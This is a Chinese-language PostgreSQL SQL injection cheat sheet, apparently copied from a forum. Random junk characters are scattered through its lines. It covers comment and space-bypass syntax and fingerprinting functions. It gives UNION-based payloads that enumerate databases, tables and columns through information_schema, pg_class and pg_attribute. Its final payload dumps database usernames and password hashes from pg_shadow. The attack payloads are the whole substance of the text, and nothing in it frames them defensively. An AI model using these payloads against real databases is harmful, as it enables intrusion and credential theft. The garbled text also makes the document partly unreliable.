结合了MSSQL MySQL Oracle的一些特点
+ B' m! e- W' ?/ ?! u Z1 `, ^* N2 D6 U支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/% R* `* P9 l- x( Z6 X' Y0 u! q
连接符: %20 , + , /**/ 内置函数:
- Y1 K6 z( T5 J! b. Z' d6 W! Gcurrent_database() //当前数据库名$ K/ A9 h, ~' J
session_user //会话用户* d9 V1 t2 r' L' B
current_user //当前数据库用户, A! W' p7 s$ F) i, k' h
user //当前用户
- Y( ^: S& ]) V: x& k# q7 ^version() //数据库版本 Union注射:' \2 f, k9 e; b G3 i
order by n–
3 R4 i r# s, b [/ ?: Kand 1=2 union select null,null,null–
" c. l" v: l6 Q, Kand 1=2 union select ‘beach’,null,null–# Z5 x7 Z7 i4 a9 l
and 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):6 W7 y) F, @5 S6 i e0 K
group_concat(table_name)
1 L- n/ V5 K) v' |# u) dand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
9 M; l( G f# O5 ~5 a; d+ ^and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–$ d. ~7 _* s. m7 H
(老版本)
+ T. Q6 s( x, u1 x+ @! spg_class.oid对应pg_attribute.attrelid7 S; k2 i3 u( V
pg_class.relname表名
; M5 P% J0 ]* S8 R; e: apg_attribute.attname字段名 select relname from pg_class获取表名
% v4 t6 c, V4 ^7 _* a7 Y# lselect oid from pg_class where 条件 获取参数
1 Z- l& w6 _) z. e8 R. `select attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:
, R" ~" p% U% l1 R2 i6 I% }and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
8 e' k g5 y' O. {and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–: P4 ~8 ?( ~+ L& F
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
0 r% `8 L9 G. ^/ y) D' c0 U. z======================================================================
$ |! C" |7 u) @3 hand 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库' A" }, j) U& l" X0 T: z- w8 K4 i" T- r
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |